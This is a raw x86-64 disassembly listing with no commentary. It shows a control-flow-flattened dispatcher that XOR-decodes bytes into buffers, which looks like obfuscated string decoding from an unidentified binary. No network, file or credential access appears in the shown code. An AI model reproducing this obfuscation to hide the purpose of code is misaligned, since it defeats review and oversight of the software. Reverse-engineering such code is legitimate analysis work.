mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400063a0
cmp ecx, 0x54254c19
jg 0x1400063d0
cmp ecx, 0x413ac401
je 0x14000642d
cmp ecx, 0x4de8461d
je 0x14000644c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140006360
mov eax, esi
jmp 0x140006360
cmp ecx, 0xd13082ef
jle 0x140006400
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140006360
cmp ecx, 0xe0d67025
je 0x140006466
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140006360
mov eax, r13d
jmp 0x140006360
cmp ecx, 0x54254c1a
je 0x140006470
cmp ecx, 0x62439574
je 0x14000632e
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140006360
mov eax, 0x4ec8e6fe
jmp 0x140006360
cmp ecx, 0x8ceadef2
je 0x140006497
mov eax, edi
cmp ecx, 0x9ce81538
je 0x140006360
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140006360
jmp 0x14000696b
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140006360
mov qword [rbp + 0x78], r10
lea rax, [r12 + 0x33]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140006360
mov eax, 0x4de8461d
jmp 0x140006360
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r11d
jmp 0x140006360
mov eax, 0x9ce81538
jmp 0x140006360
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 8], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x1400064f0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140006530
cmp ecx, 0x54254c19
jg 0x140006560
cmp ecx, 0x413ac401
je 0x1400065bd
cmp ecx, 0x4de8461d
je 0x1400065dc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400064f0
mov eax, edi
jmp 0x1400064f0
cmp ecx, 0xd13082ef
jle 0x140006590
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400064f0
cmp ecx, 0xe0d67025
je 0x1400065fa
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400064f0
mov eax, r11d
jmp 0x1400064f0
cmp ecx, 0x54254c1a
je 0x140006604
cmp ecx, 0x62439574
je 0x1400064c8
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400064f0
mov eax, 0x4ec8e6fe
jmp 0x1400064f0
cmp ecx, 0x8ceadef2
je 0x14000662b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x1400064f0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400064f0
jmp 0x140006b11
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400064f0
lea rax, [r15 + 0x64]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 9]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400064f0
mov eax, 0x4de8461d
jmp 0x1400064f0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x1400064f0
mov eax, 0x9ce81538
jmp 0x1400064f0
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 9], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140006690
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400066d0
cmp ecx, 0x54254c19
jg 0x140006700
cmp ecx, 0x413ac401
je 0x14000675d
cmp ecx, 0x4de8461d
je 0x14000677c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140006690
mov eax, edi
jmp 0x140006690
cmp ecx, 0xd13082ef
jle 0x140006730
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140006690
cmp ecx, 0xe0d67025
je 0x14000679a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140006690
mov eax, r11d
jmp 0x140006690
cmp ecx, 0x54254c1a
je 0x1400067a4
cmp ecx, 0x62439574
je 0x14000665c
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140006690
mov eax, 0x4ec8e6fe
jmp 0x140006690
cmp ecx, 0x8ceadef2
je 0x1400067cb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140006690
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140006690
jmp 0x140006ca5
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140006690
lea rax, [r15 + 0x6e]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xa]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140006690
mov eax, 0x4de8461d
jmp 0x140006690
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140006690
mov eax, 0x9ce81538
jmp 0x140006690
test r13b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov byte [r11 + 0xa], al
mov rax, qword [rbp + 0x58]
movzx edi, byte [rax + 0xb]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x48], 0xa
setl byte [rbp + 0x68]
add rdi, r15
mov edx, 0x413ac401
jmp 0x140006830
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word [rax + rax]
mov eax, edx
cmp edx, 0x413ac400
jle 0x140006870
cmp eax, 0x54254c19
jg 0x1400068a0
cmp eax, 0x413ac401
je 0x1400068f8
cmp eax, 0x4de8461d
je 0x140006917
mov edx, eax
cmp eax, 0x4ec8e6fe
jne 0x140006830
mov edx, r9d
jmp 0x140006830
cmp eax, 0xd13082ef
jle 0x1400068cd
mov edx, r8d
cmp eax, 0xd13082f0
je 0x140006830
cmp eax, 0xe0d67025
je 0x140006931
mov edx, eax
cmp eax, 0x216c1d41
jne 0x140006830
mov edx, esi
jmp 0x140006830
cmp eax, 0x54254c1a
je 0x14000693b
cmp eax, 0x62439574
je 0x140006804
mov edx, eax
cmp eax, 0x76479a56
jne 0x140006830
mov edx, 0x4ec8e6fe
jmp 0x140006830
cmp eax, 0x8ceadef2
je 0x140006961
mov edx, r10d
cmp eax, 0x9ce81538
je 0x140006830
mov edx, eax
cmp eax, 0xc5c4e523
jne 0x140006830
jmp 0x140006e45
movzx eax, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test al, al
cmovne edx, r14d
jmp 0x140006830
mov qword [rbp + 0x78], rdi
lea rax, [r12 + 0xb]
mov qword [rbp + 0x80], rax
mov edx, 0x216c1d41
jmp 0x140006830
mov edx, 0x4de8461d
jmp 0x140006830
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, eax
and edx, 0x6c
or edx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, edx
xor bl, 0x13
mov edx, ecx
jmp 0x140006830
mov edx, 0x9ce81538
jmp 0x140006830
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x38]
mov byte [rcx + 9], al
mov rax, qword [rbp + 0x58]
movzx r10d, byte [rax + 0x34]
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
add r10, r15
mov eax, 0x413ac401
jmp 0x1400069d0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140006a10
cmp ecx, 0x54254c19
jg 0x140006a40
cmp ecx, 0x413ac401
je 0x140006a9d
cmp ecx, 0x4de8461d
je 0x140006abc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400069d0
mov eax, esi
jmp 0x1400069d0
cmp ecx, 0xd13082ef
jle 0x140006a70
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400069d0
cmp ecx, 0xe0d67025
je 0x140006ad6
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400069d0
mov eax, r13d
jmp 0x1400069d0
cmp ecx, 0x54254c1a
je 0x140006ae0
cmp ecx, 0x62439574
je 0x14000699e
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400069d0
mov eax, 0x4ec8e6fe
jmp 0x1400069d0
cmp ecx, 0x8ceadef2
je 0x140006b07
mov eax, edi
cmp ecx, 0x9ce81538
je 0x1400069d0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400069d0
jmp 0x140006fdb
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400069d0
mov qword [rbp + 0x78], r10
lea rax, [r12 + 0x34]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400069d0
mov eax, 0x4de8461d
jmp 0x1400069d0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r11d
jmp 0x1400069d0
mov eax, 0x9ce81538
jmp 0x1400069d0
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 9], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140006b60
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140006ba0
cmp ecx, 0x54254c19
jg 0x140006bd0
cmp ecx, 0x413ac401
je 0x140006c2d
cmp ecx, 0x4de8461d
je 0x140006c4c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140006b60
mov eax, edi
jmp 0x140006b60
cmp ecx, 0xd13082ef
jle 0x140006c00
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140006b60
cmp ecx, 0xe0d67025
je 0x140006c6a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140006b60
mov eax, r11d
jmp 0x140006b60
cmp ecx, 0x54254c1a
je 0x140006c74
cmp ecx, 0x62439574
je 0x140006b38
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140006b60
mov eax, 0x4ec8e6fe
jmp 0x140006b60
cmp ecx, 0x8ceadef2
je 0x140006c9b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140006b60
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140006b60
jmp 0x140007191
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140006b60
lea rax, [r15 + 0x6e]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xa]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140006b60
mov eax, 0x4de8461d
jmp 0x140006b60
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140006b60
mov eax, 0x9ce81538
jmp 0x140006b60
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xa], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140006d00
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140006d40
cmp ecx, 0x54254c19
jg 0x140006d70
cmp ecx, 0x413ac401
je 0x140006dcd
cmp ecx, 0x4de8461d
je 0x140006dec
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140006d00
mov eax, edi
jmp 0x140006d00
cmp ecx, 0xd13082ef
jle 0x140006da0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140006d00
cmp ecx, 0xe0d67025
je 0x140006e0a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140006d00
mov eax, r11d
jmp 0x140006d00
cmp ecx, 0x54254c1a
je 0x140006e14
cmp ecx, 0x62439574
je 0x140006ccc
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140006d00
mov eax, 0x4ec8e6fe
jmp 0x140006d00
cmp ecx, 0x8ceadef2
je 0x140006e3b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140006d00
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140006d00
jmp 0x140007325
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140006d00
lea rax, [r15 + 0x6a]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xb]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140006d00
mov eax, 0x4de8461d
jmp 0x140006d00
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140006d00
mov eax, 0x9ce81538
jmp 0x140006d00
test r13b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov byte [r11 + 0xb], al
mov rax, qword [rbp + 0x58]
movzx edi, byte [rax + 0xc]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x48], 0xa
setl byte [rbp + 0x68]
add rdi, r15
mov edx, 0x413ac401
jmp 0x140006ea0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word [rax + rax]
mov eax, edx
cmp edx, 0x413ac400
jle 0x140006ee0
cmp eax, 0x54254c19
jg 0x140006f10
cmp eax, 0x413ac401
je 0x140006f68
cmp eax, 0x4de8461d
je 0x140006f87
mov edx, eax
cmp eax, 0x4ec8e6fe
jne 0x140006ea0
mov edx, r9d
jmp 0x140006ea0
cmp eax, 0xd13082ef
jle 0x140006f3d
mov edx, r8d
cmp eax, 0xd13082f0
je 0x140006ea0
cmp eax, 0xe0d67025
je 0x140006fa1
mov edx, eax
cmp eax, 0x216c1d41
jne 0x140006ea0
mov edx, esi
jmp 0x140006ea0
cmp eax, 0x54254c1a
je 0x140006fab
cmp eax, 0x62439574
je 0x140006e74
mov edx, eax
cmp eax, 0x76479a56
jne 0x140006ea0
mov edx, 0x4ec8e6fe
jmp 0x140006ea0
cmp eax, 0x8ceadef2
je 0x140006fd1
mov edx, r10d
cmp eax, 0x9ce81538
je 0x140006ea0
mov edx, eax
cmp eax, 0xc5c4e523
jne 0x140006ea0
jmp 0x1400074c5
movzx eax, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test al, al
cmovne edx, r14d
jmp 0x140006ea0
mov qword [rbp + 0x78], rdi
lea rax, [r12 + 0xc]
mov qword [rbp + 0x80], rax
mov edx, 0x216c1d41
jmp 0x140006ea0
mov edx, 0x4de8461d
jmp 0x140006ea0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, eax
and edx, 0x6c
or edx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, edx
xor bl, 0x13
mov edx, ecx
jmp 0x140006ea0
mov edx, 0x9ce81538
jmp 0x140006ea0
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x38]
mov byte [rcx + 0xa], al
mov rax, qword [rbp + 0x58]
movzx r9d, byte [rax + 0x35]
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
add r9, r15
mov eax, 0x413ac401
movabs r8, 0x36a0fa38eb0b3b73
mov r10d, 0x14521f21
jmp 0x140007050
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140007090
cmp ecx, 0x54254c19
jg 0x1400070c0
cmp ecx, 0x413ac401
je 0x14000711d
cmp ecx, 0x4de8461d
je 0x14000713c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140007050
mov eax, esi
jmp 0x140007050
cmp ecx, 0xd13082ef
jle 0x1400070f0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140007050
cmp ecx, 0xe0d67025
je 0x140007156
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140007050
mov eax, r13d
jmp 0x140007050
cmp ecx, 0x54254c1a
je 0x140007160
cmp ecx, 0x62439574
je 0x14000701e
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140007050
mov eax, 0x4ec8e6fe
jmp 0x140007050
cmp ecx, 0x8ceadef2
je 0x140007187
mov eax, edi
cmp ecx, 0x9ce81538
je 0x140007050
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140007050
jmp 0x14000765b
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140007050
mov qword [rbp + 0x78], r9
lea rax, [r12 + 0x35]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140007050
mov eax, 0x4de8461d
jmp 0x140007050
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r11d
jmp 0x140007050
mov eax, 0x9ce81538
jmp 0x140007050
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xa], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x1400071e0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140007220
cmp ecx, 0x54254c19
jg 0x140007250
cmp ecx, 0x413ac401
je 0x1400072ad
cmp ecx, 0x4de8461d
je 0x1400072cc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400071e0
mov eax, edi
jmp 0x1400071e0
cmp ecx, 0xd13082ef
jle 0x140007280
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400071e0
cmp ecx, 0xe0d67025
je 0x1400072ea
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400071e0
mov eax, r11d
jmp 0x1400071e0
cmp ecx, 0x54254c1a
je 0x1400072f4
cmp ecx, 0x62439574
je 0x1400071b8
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400071e0
mov eax, 0x4ec8e6fe
jmp 0x1400071e0
cmp ecx, 0x8ceadef2
je 0x14000731b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x1400071e0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400071e0
jmp 0x1400076a0
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400071e0
lea rax, [r15 + 0x6a]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xb]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400071e0
mov eax, 0x4de8461d
jmp 0x1400071e0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x1400071e0
mov eax, 0x9ce81538
jmp 0x1400071e0
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xb], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140007380
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400073c0
cmp ecx, 0x54254c19
jg 0x1400073f0
cmp ecx, 0x413ac401
je 0x14000744d
cmp ecx, 0x4de8461d
je 0x14000746c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140007380
mov eax, edi
jmp 0x140007380
cmp ecx, 0xd13082ef
jle 0x140007420
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140007380
cmp ecx, 0xe0d67025
je 0x14000748a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140007380
mov eax, r11d
jmp 0x140007380
cmp ecx, 0x54254c1a
je 0x140007494
cmp ecx, 0x62439574
je 0x14000734c
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140007380
mov eax, 0x4ec8e6fe
jmp 0x140007380
cmp ecx, 0x8ceadef2
je 0x1400074bb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140007380
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140007380
jmp 0x140007835
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140007380
lea rax, [r15 + 0x73]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xc]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140007380
mov eax, 0x4de8461d
jmp 0x140007380
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140007380
mov eax, 0x9ce81538
jmp 0x140007380
test r13b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov byte [r11 + 0xc], al
mov rax, qword [rbp + 0x58]
movzx edi, byte [rax + 0xd]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x48], 0xa
setl byte [rbp + 0x68]
add rdi, r15
mov edx, 0x413ac401
jmp 0x140007520
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word [rax + rax]
mov eax, edx
cmp edx, 0x413ac400
jle 0x140007560
cmp eax, 0x54254c19
jg 0x140007590
cmp eax, 0x413ac401
je 0x1400075e8
cmp eax, 0x4de8461d
je 0x140007607
mov edx, eax
cmp eax, 0x4ec8e6fe
jne 0x140007520
mov edx, r9d
jmp 0x140007520
cmp eax, 0xd13082ef
jle 0x1400075bd
mov edx, r8d
cmp eax, 0xd13082f0
je 0x140007520
cmp eax, 0xe0d67025
je 0x140007621
mov edx, eax
cmp eax, 0x216c1d41
jne 0x140007520
mov edx, esi
jmp 0x140007520
cmp eax, 0x54254c1a
je 0x14000762b
cmp eax, 0x62439574
je 0x1400074f4
mov edx, eax
cmp eax, 0x76479a56
jne 0x140007520
mov edx, 0x4ec8e6fe
jmp 0x140007520
cmp eax, 0x8ceadef2
je 0x140007651
mov edx, r10d
cmp eax, 0x9ce81538
je 0x140007520
mov edx, eax
cmp eax, 0xc5c4e523
jne 0x140007520
jmp 0x1400079d5
movzx eax, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test al, al
cmovne edx, r14d
jmp 0x140007520
mov qword [rbp + 0x78], rdi
lea rax, [r12 + 0xd]
mov qword [rbp + 0x80], rax
mov edx, 0x216c1d41
jmp 0x140007520
mov edx, 0x4de8461d
jmp 0x140007520
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, eax
and edx, 0x6c
or edx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, edx
xor bl, 0x13
mov edx, ecx
jmp 0x140007520
mov edx, 0x9ce81538
jmp 0x140007520
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x38]
mov byte [rcx + 0xb], al
add rcx, 0xc
mov qword [rbp + 0x38], rcx
mov rax, qword [rbp + 8]
add rax, 0x50
mov qword [rbp + 0x20], rax
mov eax, 0xa105a0bf
movabs r13, 0xc95f05c714f4c48c
movabs r9, 0x335a77a93a9c4e4c
mov r11d, 0x78700930
jmp 0x140001303
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xb], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x1400076f0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140007730
cmp ecx, 0x54254c19
jg 0x140007760
cmp ecx, 0x413ac401
je 0x1400077bd
cmp ecx, 0x4de8461d
je 0x1400077dc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400076f0
mov eax, edi
jmp 0x1400076f0
cmp ecx, 0xd13082ef
jle 0x140007790
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400076f0
cmp ecx, 0xe0d67025
je 0x1400077fa
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400076f0
mov eax, r11d
jmp 0x1400076f0
cmp ecx, 0x54254c1a
je 0x140007804
cmp ecx, 0x62439574
je 0x1400076c7
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400076f0
mov eax, 0x4ec8e6fe
jmp 0x1400076f0
cmp ecx, 0x8ceadef2
je 0x14000782b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x1400076f0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400076f0
jmp 0x140007b6b
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400076f0
lea rax, [r15 + 0x73]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xc]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400076f0
mov eax, 0x4de8461d
